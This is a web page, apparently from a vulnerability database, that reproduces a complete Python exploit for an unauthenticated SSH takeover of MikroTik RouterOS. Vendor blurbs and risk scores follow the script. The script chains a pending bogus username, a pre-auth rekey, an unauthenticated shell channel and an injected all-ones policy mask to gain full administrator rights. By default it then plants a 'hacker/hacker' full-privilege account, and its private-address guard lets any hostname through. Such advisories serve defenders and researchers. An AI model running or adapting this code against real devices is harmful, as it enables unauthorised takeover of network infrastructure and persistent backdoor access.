MikroTrick_ 7.24_ 7.24.2_ 7.0.0_ 7.23.4_ 6.0.0_ 6.49.21 - RCE
10
#!/usr/bin/env python3
#
# Exploit Title: MikroTik RouterOS <= 7.23.3 - Unauthenticated SSH Session Policy-Mask Swap (Full Admin)
# Date: 2026-09-17
# Exploit Author: DigiProSec
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: RouterOS < 6.49.21, 7.0 < 7.23.4, 7.24.0 < 7.24.2 (fixed in 6.49.21 / 7.23.4 / 7.24.2)
# Tested on: MikroTik CHR 7.23.3 (x86_64), Kali Linux 2025.x, python3-paramiko
# CVE: CVE-2026-86060
#
# CVE-2026-86060 — Unauthenticated full takeover of MikroTik RouterOS via
# SSH session policy-mask swap ("MikroTrick" campaign, in the wild from
# 2026-09-02; CERT.pl withheld exploit-enabling detail)
#
# Chain:
# 1. USERAUTH as "-2" instantly rejected, but the username stays PENDING
# in the server's session state (unnamed state bug).
# Produces the IoC: "login failure for user -2".
# 2. CVE-2026-67279 a rekey requested before authentication makes the
# server lose the "must be authenticated" gate.
# 3. CHANNEL_OPEN + PTY honored without authentication; the interactive
# shell spawns /nova/bin/login with the pending "-2".
# 4. CVE-2026-86060 the login helper's legacy transport treats a
# dash-led positional as a file descriptor: it reads
# up to 4096 bytes from fd 2 (the PTY) and splits on
# NUL into REPLACEMENT IDENTITY + REPLACEMENT POLICY
# MASK. Feed it: "0" NUL "4294967295" NUL VEOF VEOF.
# The all-ones mask is clamped to RouterOS's full
# policy set (0x9fe6e). The session comes up as full
# administrator. Actions are logged as ssh:-2@<ip> —
# the byte-for-byte campaign fingerprint.
#
# Tested: CHR 7.23.3 (vulnerable) vs CHR 7.23.4 (patched, exploit correctly
# fails). Deterministic: 3/3 runs in lab.
# Notes: - Only the SSH service (port 22) is required; default config is
# vulnerable. No credentials, no user interaction.
# - This is a lab client: it refuses non-private IP targets.
# - paramiko is used for transport plumbing only; the bugs are
# triggered by patching paramiko's client-side auth gate, all
# exploit semantics are implemented here.
#
# Usage: python3 poc_mikrotrick.py <host> # interactive full-admin console
# python3 poc_mikrotrick.py <host> "<ros command>" # run one command, exit
#
import ipaddress
import sys
import time
import paramiko
IDENTITY = b"0" # replacement identity (becomes the prompt user)
MASK = b"4294967295" # all-ones -> clamped to full policy set
VEOF = b"\x04" # PTY VEOF control byte
def check_target(host):
try:
ip = ipaddress.ip_address(host)
if not ip.is_private:
print(f"[-] {host} is not a private address; lab client refuses")
return False
except ValueError:
pass # hostname — assume lab
return True
def drain_until(chan, want, timeout):
end = time.time() + timeout
buf = b""
while time.time() < end:
if chan.recv_ready():
buf += chan.recv(65536)
if want in buf:
return buf, True
time.sleep(0.05)
return buf, False
def exploit(host):
"""Open a full-admin RouterOS console channel. Returns (transport, chan)."""
t = paramiko.Transport((host, 22))
t.start_client(timeout=10)
# step 1 — leave "-2" pending in server session state
try:
t.auth_password("-2", "x")
except paramiko.AuthenticationException:
pass
print("[1] '-2' rejected (pending in session state)")
# step 2 — CVE-2026-67279: pre-auth rekey drops the server-side auth gate
t.renegotiate_keys()
print("[2] rekey done (CVE-2026-67279)")
# step 3 — open a session channel unauthenticated (client-side gate is
# patched; the SERVER is the one that incorrectly honors the open)
if not t.is_authenticated():
t.is_authenticated = lambda: True
chan = t.open_session(timeout=10)
chan.get_pty(term="vt100", width=120, height=40)
chan.invoke_shell()
print("[3] session channel open without authentication")
# step 4 — CVE-2026-86060: feed the login helper's fd-2 read.
# Framing: identity NUL mask NUL, then two VEOF bytes (canonical-mode PTY:
# first VEOF delivers the buffer without appending, second yields EOF).
time.sleep(0.6)
chan.send(IDENTITY + b"\x00" + MASK + b"\x00" + VEOF + VEOF)
print("[4] fd-2 identity/policy frame sent (CVE-2026-86060)")
# the RouterOS console interrogates the terminal; answer its DSR probe
# whenever it appears, and keep draining until the prompt shows up
end = time.time() + 12
buf = b""
while time.time() < end:
if chan.recv_ready():
buf += chan.recv(65536)
if b"\x1b[6n" in buf:
chan.send(b"\x1b[24;80R")
buf = buf.replace(b"\x1b[6n", b"", 1)
if b"] >" in buf:
break
time.sleep(0.05)
else:
raise RuntimeError("no RouterOS prompt after policy frame — exploit failed")
print("[+] full-admin RouterOS console is up")
return t, chan
def run(chan, command, settle=1.5):
chan.send(command.encode() + b"\r")
out, _ = drain_until(chan, b"] >", 8)
# console text carries \r overwrites and ANSI colors — normalize for display
import re as _re
text = out.decode(errors="replace")
text = _re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1bZ", "", text)
lines = [ln.strip() for ln in text.replace("\r", "\n").split("\n")]
lines = [ln for ln in lines if ln and not ln.endswith("] > " + command)
and ln != command
and not _re.fullmatch(r"\[[^\]]*\] >\s*", ln)] # bare prompts
return "\n".join(lines)
def interactive(chan):
"""Relay the local terminal to the channel until the session ends.
NOTE: the post-exploit console is unstable by design — a later rekey
re-arms the server-side auth gate and the channel dies without warning.
Kept for completeness; the default mode plants an account instead.
"""
import os, select, termios, tty
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd)
try:
tty.setraw(fd)
chan.settimeout(0.0)
while True:
r, _, _ = select.select([chan, fd], [], [])
if chan in r:
data = chan.recv(65536)
if not data:
break
while b"\x1b[6n" in data:
chan.send(b"\x1b[24;80R")
data = data.replace(b"\x1b[6n", b"", 1)
while b"\x1b[5n" in data:
chan.send(b"\x1b[0n")
data = data.replace(b"\x1b[5n", b"", 1)
if data:
os.write(sys.stdout.fileno(), data)
if fd in r:
data = os.read(fd, 4096)
if not data:
break
chan.send(data)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old)
def plant_account(chan):
"""Create the hacker/hacker full-privilege account for the tester."""
run(chan, ":do {/user remove hacker} on-error={}")
run(chan, '/user add name=hacker group=full password=hacker comment="test account - remove when done"')
out = run(chan, "/user print where name=hacker")
if "hacker" not in out:
raise RuntimeError("account plant failed")
def main():
if len(sys.argv) < 2:
print("usage: python3 poc_mikrotrick.py <host> [\"<ros command>\"]")
return 2
host = sys.argv[1]
if not check_target(host):
return 1
t, chan = exploit(host)
try:
if len(sys.argv) > 2:
print(run(chan, " ".join(sys.argv[2:])))
else:
# default: plant a full-privilege test account and hand over the
# login command. The exploited console itself is unstable (a
# later rekey re-arms the auth gate and kills the channel), so
# the durable path is a normal SSH login.
plant_account(chan)
print("[+] full-privilege account planted: hacker / hacker")
print(f"[*] log in with: ssh hacker@{host}")
print(f"[*] when finished, remove it: /user remove hacker")
finally:
t.close()
return 0
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.2
EPSS0.01849
SSVC